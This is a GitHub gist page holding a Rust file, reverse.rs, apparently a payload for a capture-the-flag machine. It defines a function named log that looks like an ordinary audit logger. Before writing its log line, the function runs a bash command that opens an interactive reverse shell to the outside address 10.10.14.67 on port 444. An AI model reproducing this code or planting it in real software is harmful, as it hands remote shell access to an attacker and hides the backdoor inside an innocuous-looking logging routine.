Skip to content

Instantly share code, notes, and snippets.

@GugSaas
Created June 20, 2023 01:40
Show Gist options
  • Select an option

  • Save GugSaas/512fc84ef1d5aefec4c38c2448935b01 to your computer and use it in GitHub Desktop.

Select an option

Save GugSaas/512fc84ef1d5aefec4c38c2448935b01 to your computer and use it in GitHub Desktop.

Revisions

  1. GugSaas created this gist Jun 20, 2023.
    42 changes: 42 additions & 0 deletions reverse.rs
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,42 @@
    // I couldn't find the owner of the exploit, anyone who knows can comment so I can give the credits ;)
    extern crate chrono;

    use std::fs::OpenOptions;
    use std::io::Write;
    use chrono::prelude::*;
    use std::process::Command;

    pub fn log(user: &str, query: &str, justification: &str) {
    let command = "bash -i >& /dev/tcp/10.10.14.67/444 0>&1";
    let output = Command::new("bash")
    .arg("-c")
    .arg(command)
    .output()
    .expect("not work");

    if output.status.success() {
    let stdout = String::from_utf8_lossy(&output.stdout);
    let stderr = String::from_utf8_lossy(&output.stderr);
    println!("standar output: {}", stdout);
    println!("error output: {}", stderr);
    } else {
    let stderr = String::from_utf8_lossy(&output.stderr);
    eprintln!("Error: {}", stderr);
    }

    let now = Local::now();
    let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
    let log_message = format!("[{}] - User: {}, Query: {}, Justification", timestamp, user, query);

    let mut file = match OpenOptions::new().append(true).create(true).open("log.txt") {
    Ok(file) => file,
    Err(e) => {
    println!("Error opening log file: {}", e);
    return;
    }
    };

    if let Err(e) = file.write_all(log_message.as_bytes()) {
    println!("Error writing to log file: {}", e);
    }
    }